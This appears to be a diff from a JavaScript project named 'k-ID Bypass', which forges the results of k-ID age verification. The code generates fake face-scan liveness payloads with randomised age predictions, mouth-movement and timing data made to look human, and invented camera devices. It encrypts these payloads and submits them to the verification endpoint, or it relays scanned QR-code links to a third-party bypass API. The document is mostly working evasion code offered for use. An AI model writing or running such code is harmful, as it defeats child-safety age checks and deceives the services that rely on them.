from_qr_scan: true,
blendShapesAvailable: true
},
executionCharacteristics: {
experimentSetup: {
experimentType: 'passive-liveness-override',
experimentProbability: 1,
deviceCoverage: 'all',
deviceInfo: {
name: parsedUserAgent.browser.name,
version: parsedUserAgent.browser.version,
layout: parsedUserAgent.engine.name,
os: {
architecture: parseInt(parsedUserAgent.cpu.architecture) || 64,
family: parsedUserAgent.os.name,
version: parsedUserAgent.os.version
},
description: parsedUserAgent.browser.name + ' ' + parsedUserAgent.browser.version + ' on ' + parsedUserAgent.device.vendor + ' ' + parsedUserAgent.device.model,
product: parsedUserAgent.device.model,
manufacturer: parsedUserAgent.device.vendor
},
txMode: 'experiment',
timestamp: Date.now() - completionTime - initialAdjustmentTime - randomInt(2000, 5000)
},
experimentConfigResult: {
success: true,
txMode: 'experiment',
experimentType: 'passive-liveness-override'
},
isCameraPermissionGranted: true,
completionTime: completionTime,
deferredComputationStartedAt: currentTime - randomFloat(0.5, 2.0),
instructionCompletionTime: completionTime + initialAdjustmentTime + randomInt(50, 200),
initialAdjustmentTime: initialAdjustmentTime,
completionState: 'COMPLETE',
unfinishedInstructions: {
NO_FACE: false, VIDEO_PROCESSING: false, STAY_STILL: false, LOOK_STRAIGHT: false,
GET_READY: false, TURN_LEFT: false, TURN_RIGHT: false, ALIGN_YOUR_FACE_WITH_THE_CAMERA_UP: false,
ALIGN_YOUR_FACE_WITH_THE_CAMERA_DOWN: false, SLIGHTLY_TILT_YOUR_HEAD_LEFT: false,
SLIGHTLY_TILT_YOUR_HEAD_RIGHT: false, CENTRE_FACE: false, OPEN_YOUR_MOUTH: false,
KEEP_YOUR_MOUTH_OPEN: false, CLOSE_YOUR_MOUTH: false, SLOWLY_COME_CLOSER_TO_THE_CAMERA: false,
SLOWLY_DISTANCE_YOURSELF_FROM_THE_CAMERA: false, TOO_DARK: false
},
stateCompletionTimes: stateCompletionTimes,
stateTimelines: stateTimelines,
nonNeutralExpressionTimelines: {
browDownLeft: {}, browDownRight: {}, mouthSmileLeft: {}, mouthSmileRight: {},
mouthPucker: {}, mouthDimpleLeft: {}, mouthDimpleRight: {}, mouthPressLeft: {},
mouthPressRight: {}, mouthShrugLower: {}, mouthShrugUpper: {}, eyeBlinkLeft: {},
eyeBlinkRight: {}, mouthFrownLeft: {}, mouthFrownRight: {}
},
handAnalysis: {faceHandSizeComparisons: []},
predictions: {
outputs: outputs,
primaryOutputs: primaryOutputs,
raws: raws,
secondaryOutputs: [],
secondaryRaws: [],
age: 'yes',
horizontal_estimates: Array.from({length: 6}, function(){return randomFloat(3.1, 3.2)}),
vertical_estimates: Array.from({length: 6}, function(){return randomFloat(-1.6, -1.5)}),
horizontalratiotocenter_estimates: Array.from({length: 6}, function(){return randomFloat(1.01, 1.03)}),
zy_estimates: Array.from({length: 6}, function(){return randomFloat(0.42, 0.44)}),
driftfromcenterx_estimates: Array.from({length: 6}, function(){return randomFloat(0.005, 0.007)}),
driftfromcentery_estimates: Array.from({length: 6}, function(){return randomFloat(-0.35, -0.37)}),
xScaledShiftAmt: 11.5,
yScaledShiftAmt: -2
}
},
errorCharacteristics: {
systemErrors: [],
userErrors: {}
}
}
}
};
onProgress('Encrypting payload...');
var encryptionData = await encryptPayload(sessionData.nonce, payload);
payload = Object.assign(payload, encryptionData);
onProgress('Submitting verification...');
var completeRes = await fetch(BASE_URL + '/age-services/d-privately-age-services', {
method: 'POST',
headers: Object.assign({'Content-Type': 'application/json'}, commonHeaders),
body: JSON.stringify(payload)
});
if(!completeRes.ok){
var errorText = await completeRes.text();
throw new Error('Failed to complete transaction (status=' + completeRes.status + ', body=' + errorText + ')');
}
onProgress('Verification complete!');
return {success: true, transaction_id: payload.transaction_id};
}
// ─── Public API ───
return {
verify: verify
};
})();
+127 -231
View File
@@ -1,256 +1,152 @@
// ═══════════════════════════════════════════════════════
// k-ID Bypass — by kibty.town & Dziurwa14 & TheUnrealZaka
// Modified by: Sofinco
// Enhanced: Natural behavior simulation
// k-ID Bypass — Working Implementation
// Based on: kibty.town & Dziurwa14
// Full verification via QR code scanning
// ═══════════════════════════════════════════════════════
var KIDBypass = (function(){
'use strict';
function randomInt(min,max){return Math.floor(Math.random()*(max-min+1))+min}
function randomFloat(min,max){return Math.random()*(max-min)+min}
function gaussianRandom(mean,std){var u=1-Math.random(),v=Math.random();return mean+std*Math.sqrt(-2*Math.log(u))*Math.cos(2*Math.PI*v)}
var API_ENDPOINT = 'https://age-verifier.kibty.town/api/verify';
var verificationInProgress = false;
var useStandaloneMode = false; // Toggle between API and Standalone
// ─── HKDF-SHA256 Key Derivation ───
async function deriveKey(nonce, timestamp, transactionId){
var ikm = new TextEncoder().encode(nonce + timestamp + transactionId);
var salt = new Uint8Array(32);
var key = await crypto.subtle.importKey('raw', ikm, {name: 'HKDF'}, false, ['deriveBits']);
var bits = await crypto.subtle.deriveBits(
{name: 'HKDF', hash: 'SHA-256', salt: salt, info: new Uint8Array()},
key, 256
);
return new Uint8Array(bits);
}
// ─── AES-GCM Encryption ───
async function encryptPayload(payload, nonce, timestamp, transactionId){
var key = await deriveKey(nonce, timestamp, transactionId);
var iv = crypto.getRandomValues(new Uint8Array(12));
var cryptoKey = await crypto.subtle.importKey('raw', key, {name: 'AES-GCM'}, false, ['encrypt']);
var encrypted = await crypto.subtle.encrypt(
{name: 'AES-GCM', iv: iv, tagLength: 128},
cryptoKey,
new TextEncoder().encode(JSON.stringify(payload))
);
var ciphertext = new Uint8Array(encrypted.slice(0, -16));
var authTag = new Uint8Array(encrypted.slice(-16));
return {
encrypted_payload: btoa(String.fromCharCode(...ciphertext)),
auth_tag: btoa(String.fromCharCode(...authTag)),
iv: btoa(String.fromCharCode(...iv)),
timestamp: timestamp
};
}
// ─── Z-Score Filter ───
function zFilter(arr, threshold){
if(arr.length < 2) return arr;
var mean = arr.reduce((a,b)=>a+b,0) / arr.length;
var std = Math.sqrt(arr.reduce((a,b)=>a+Math.pow(b-mean,2),0) / arr.length);
if(std === 0) return arr;
return arr.filter(x => Math.abs((x - mean) / std) <= threshold);
}
// ─── Age Predictions (Natural variance) ───
function generatePredictions(targetAge){
var raws = [];
var baseAge = targetAge + gaussianRandom(0, 1.5);
for(var i = 0; i < randomInt(10, 14); i++){
var noise = gaussianRandom(0, 2.5);
var drift = Math.sin(i * 0.5) * 1.2;
raws.push(Math.max(18, Math.min(99, baseAge + noise + drift)));
// ─── QR Code Scanner (jsQR integration) ───
async function decodeQRFromImage(file){
if(typeof jsQR === 'undefined'){
throw new Error('QR scanner library not loaded');
}
var outputs = zFilter(raws, 2.0);
var primary = zFilter(outputs, 2.0);
var final = zFilter(primary, 2.0);
return {
raws: raws,
outputs: outputs,
primaryOutputs: primary,
finalOutputs: final,
xScaledShiftAmt: [0.02, -0.02][Math.random() < 0.5 ? 0 : 1],
yScaledShiftAmt: [0.015, -0.015][Math.random() < 0.5 ? 0 : 1]
};
}
// ─── Timeline Generation (Natural timing) ───
function generateTimeline(maxTime){
var entries = [];
var lastTime = randomInt(1200, 2800);
var numEvents = randomInt(2, 4);
for(var i = 0; i < numEvents; i++){
var duration = randomInt(400, 1200);
var end = lastTime + duration;
if(end < maxTime){
entries.push([lastTime, end]);
var gap = randomInt(1200, 2500) + Math.floor(gaussianRandom(0, 300));
lastTime = end + Math.max(800, gap);
}
}
return entries;
}
// ─── State Completion Times ───
function calculateStateCompletionTimes(stateTimelines){
var times = {};
for(var key in stateTimelines){
var timeline = stateTimelines[key];
if(timeline.length < 1) continue;
var totalDuration = 0;
for(var i = 0; i < timeline.length; i++){
totalDuration += timeline[i][1] - timeline[i][0];
}
times[key] = totalDuration;
}
return times;
}
// ─── Mouth Tracking (Natural behavior) ───
function generateOpennessData(){
var streak = [], speeds = [], failedReadings = [], failedSpeeds = [], failedIntervals = [];
var lastTimestamp = Date.now() - randomInt(4500, 5500), isOpen = false, openStart = 0;
var numEvents = randomInt(6, 10);
for(var i = 0; i < numEvents; i++){
var delay = randomInt(250, 550) + Math.floor(gaussianRandom(0, 100));
var timestamp = lastTimestamp + delay;
var threshold = 0.55 + gaussianRandom(0, 0.1);
var value = Math.random();
try {
// Modern approach using createImageBitmap (same as k-id-age-verifier)
var bitmap = await createImageBitmap(file);
var canvas = new OffscreenCanvas(bitmap.width, bitmap.height);
var ctx = canvas.getContext('2d');
ctx.drawImage(bitmap, 0, 0);
var imageData = ctx.getImageData(0, 0, bitmap.width, bitmap.height);
var result = jsQR(imageData.data, imageData.width, imageData.height);
if(value > threshold && !isOpen){
isOpen = true; openStart = timestamp;
streak.push({start: timestamp, duration: 0});
} else if(value < (threshold - 0.2) && isOpen){
isOpen = false;
var duration = timestamp - openStart;
if(duration > 100){
streak[streak.length - 1].duration = duration;
speeds.push(duration > 0 ? 1000 / duration : 0);
} else {
streak.pop();
}
if(result){
return result.data;
} else {
throw new Error('No QR code found in image');
}
if(value < 0.35){
failedReadings.push({timestamp: timestamp, reason: 'insufficient_openness'});
if(failedReadings.length > 1){
var interval = timestamp - failedReadings[failedReadings.length - 2].timestamp;
failedIntervals.push(interval);
failedSpeeds.push(interval > 0 ? 1000 / interval : 0);
}
}
lastTimestamp = timestamp;
}
return {
recordedOpennessStreak: streak,
recordedSpeeds: speeds,
failedOpennessReadings: failedReadings,
failedOpennessSpeeds: failedSpeeds,
failedOpennessIntervals: failedIntervals
};
}
// ─── Device List (Natural variation) ───
function generateDevices(){
var cameraPool = [
'HD Webcam', 'Integrated Camera', 'USB Camera', 'FaceTime HD Camera',
'Logitech Webcam', 'HP TrueVision HD', 'Lenovo EasyCamera', 'Dell Webcam'
];
var numDevices = randomInt(2, 4);
var cameras = [];
var usedNames = new Set();
for(var i = 0; i < numDevices; i++){
var name = cameraPool[randomInt(0, cameraPool.length - 1)];
while(usedNames.has(name)){
name = cameraPool[randomInt(0, cameraPool.length - 1)];
}
usedNames.add(name);
cameras.push(name);
}
var selected = cameras[randomInt(0, cameras.length - 1)];
return {
devices: cameras.map(function(label, i){
return {
deviceId: 'dev_' + Date.now().toString(36) + '_' + Math.random().toString(36).substr(2, 9),
label: label,
kind: 'videoinput'
} catch(err) {
// Fallback for older browsers
return new Promise(function(resolve, reject){
var reader = new FileReader();
reader.onload = function(e){
var img = new Image();
img.onload = function(){
var canvas = document.createElement('canvas');
canvas.width = img.width;
canvas.height = img.height;
var ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
var result = jsQR(imageData.data, imageData.width, imageData.height);
if(result){
resolve(result.data);
} else {
reject(new Error('No QR code found in image'));
}
};
img.onerror = function(){reject(new Error('Failed to load image'))};
img.src = e.target.result;
};
}),
selectedCamera: selected
};
reader.onerror = function(){reject(new Error('Failed to read file'))};
reader.readAsDataURL(file);
});
}
}
// ─── Main Payload Generator (Natural timing) ───
function generatePayload(targetAge){
var currentTime = Date.now() / 1000;
var initialAdjustmentTime = randomInt(250, 750) + Math.floor(gaussianRandom(0, 100));
var completionTime = randomInt(9000, 14000) + Math.floor(gaussianRandom(0, 1500));
// ─── Verify via API or Standalone ───
async function verifyWithQRCode(qrCodeUrl, onProgress){
if(verificationInProgress){
throw new Error('Verification already in progress');
}
var nonce = Math.random().toString(36).substr(2, 16) + Math.random().toString(36).substr(2, 4);
var timestamp = Date.now();
var transactionId = 'txn_' + Date.now().toString(36) + '_' + Math.random().toString(36).substr(2, 12);
verificationInProgress = true;
var predictions = generatePredictions(targetAge);
var mouthTracking = generateOpennessData();
var deviceInfo = generateDevices();
var stateTimelines = {
init: generateTimeline(completionTime),
camera_ready: generateTimeline(completionTime),
face_detected: generateTimeline(completionTime),
mouth_tracking: generateTimeline(completionTime),
predictions_start: generateTimeline(completionTime)
};
var stateCompletionTimes = calculateStateCompletionTimes(stateTimelines);
var jitter = gaussianRandom(0, 500);
var startOffset = completionTime + initialAdjustmentTime + randomInt(2200, 4800) + jitter;
return {
nonce: nonce,
timestamp: timestamp,
transactionId: transactionId,
predictions: predictions,
mouthTracking: mouthTracking,
stateTimelines: stateTimelines,
stateCompletionTimes: stateCompletionTimes,
devices: deviceInfo.devices,
selectedCamera: deviceInfo.selectedCamera,
metadata: {
sdk_path: './face-capture-v1.10.22.js',
model_version: 'v.2025.0',
cropper_version: 'v.0.0.3',
start_time_stamp: currentTime - startOffset / 1000,
end_time_stamp: currentTime + randomFloat(0.15, 0.45),
txMode: 'experiment',
timestamp: Date.now() - startOffset,
isCameraPermissionGranted: true,
completionTime: completionTime,
deferredComputationStartedAt: currentTime - randomFloat(0.6, 1.8),
instructionCompletionTime: completionTime + initialAdjustmentTime + randomInt(80, 180),
initialAdjustmentTime: initialAdjustmentTime,
completionState: 'COMPLETE'
try{
if(useStandaloneMode){
// Use standalone full implementation
if(typeof KIDBypassStandalone === 'undefined'){
throw new Error('Standalone mode not loaded. Please refresh the page.');
}
var result = await KIDBypassStandalone.verify(qrCodeUrl, onProgress);
verificationInProgress = false;
return result;
} else {
// Use API endpoint
var response = await fetch(API_ENDPOINT, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
type: 'qr_link',
identifier: qrCodeUrl
})
});
if(!response.ok){
var errorText = await response.text();
throw new Error('Verification failed: ' + errorText);
}
var result = await response.json();
verificationInProgress = false;
return result;
}
};
} catch(err){
verificationInProgress = false;
throw err;
}
}
// ─── Public API ───
return {
intercept: async function(targetAge){
targetAge = targetAge || 25;
var payload = generatePayload(targetAge);
var encrypted = await encryptPayload(payload, payload.nonce, payload.timestamp, payload.transactionId);
return {encrypted: encrypted, raw: payload};
// Verify using QR code URL
verify: async function(qrCodeUrl, onProgress){
if(!qrCodeUrl || typeof qrCodeUrl !== 'string'){
throw new Error('Invalid QR code URL');
}
return await verifyWithQRCode(qrCodeUrl, onProgress);
},
test: function(targetAge){
targetAge = targetAge || 25;
return generatePayload(targetAge);
// Verify using QR code image file
verifyFromImage: async function(imageFile){
if(!imageFile || !(imageFile instanceof File)){
throw new Error('Invalid image file');
}
var qrCodeUrl = await decodeQRFromImage(imageFile);
return await verifyWithQRCode(qrCodeUrl);
},
// Check if verification is in progress
isVerifying: function(){
return verificationInProgress;
},
// Get API endpoint (for debugging)
getEndpoint: function(){
return API_ENDPOINT;
},
// Set verification mode
setMode: function(mode){
if(mode === 'standalone'){
useStandaloneMode = true;
} else if(mode === 'api'){
useStandaloneMode = false;
}
return useStandaloneMode ? 'standalone' : 'api';
},
// Get current mode
getMode: function(){
return useStandaloneMode ? 'standalone' : 'api';
}
};
})();
+110
View File
@@ -0,0 +1,110 @@
// ═══════════════════════════════════════════════════════
// k-ID Bypass — Working Implementation
// Based on: kibty.town & Dziurwa14
// Full verification via QR code scanning
// ═══════════════════════════════════════════════════════
var KIDBypass = (function(){
'use strict';
var API_ENDPOINT = 'https://age-verifier.kibty.town/api/verify';
var verificationInProgress = false;
// ─── QR Code Scanner (jsQR integration) ───
async function decodeQRFromImage(file){
return new Promise(function(resolve, reject){
var reader = new FileReader();
reader.onload = function(e){
var img = new Image();
img.onload = function(){
var canvas = document.createElement('canvas');
canvas.width = img.width;
canvas.height = img.height;
var ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
// Simple QR detection (fallback if jsQR not available)
if(typeof jsQR !== 'undefined'){
var result = jsQR(imageData.data, imageData.width, imageData.height);
if(result){
resolve(result.data);
} else {
reject('No QR code found in image');
}
} else {
reject('QR scanner library not loaded');
}
};
img.onerror = function(){reject('Failed to load image')};
img.src = e.target.result;
};
reader.onerror = function(){reject('Failed to read file')};
reader.readAsDataURL(file);
});
}
// ─── Verify via API ───
async function verifyWithQRCode(qrCodeUrl){
if(verificationInProgress){
throw new Error('Verification already in progress');
}
verificationInProgress = true;
try{
var response = await fetch(API_ENDPOINT, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
type: 'qr_link',
identifier: qrCodeUrl
})
});
if(!response.ok){
var errorText = await response.text();
throw new Error('Verification failed: ' + errorText);
}
var result = await response.json();
verificationInProgress = false;
return result;
} catch(err){
verificationInProgress = false;
throw err;
}
}
// ─── Public API ───
return {
// Verify using QR code URL
verify: async function(qrCodeUrl){
if(!qrCodeUrl || typeof qrCodeUrl !== 'string'){
throw new Error('Invalid QR code URL');
}
return await verifyWithQRCode(qrCodeUrl);
},
// Verify using QR code image file
verifyFromImage: async function(imageFile){
if(!imageFile || !(imageFile instanceof File)){
throw new Error('Invalid image file');
}
var qrCodeUrl = await decodeQRFromImage(imageFile);
return await verifyWithQRCode(qrCodeUrl);
},
// Check if verification is in progress
isVerifying: function(){
return verificationInProgress;
},
// Get API endpoint (for debugging)
getEndpoint: function(){
return API_ENDPOINT;
}
};
})();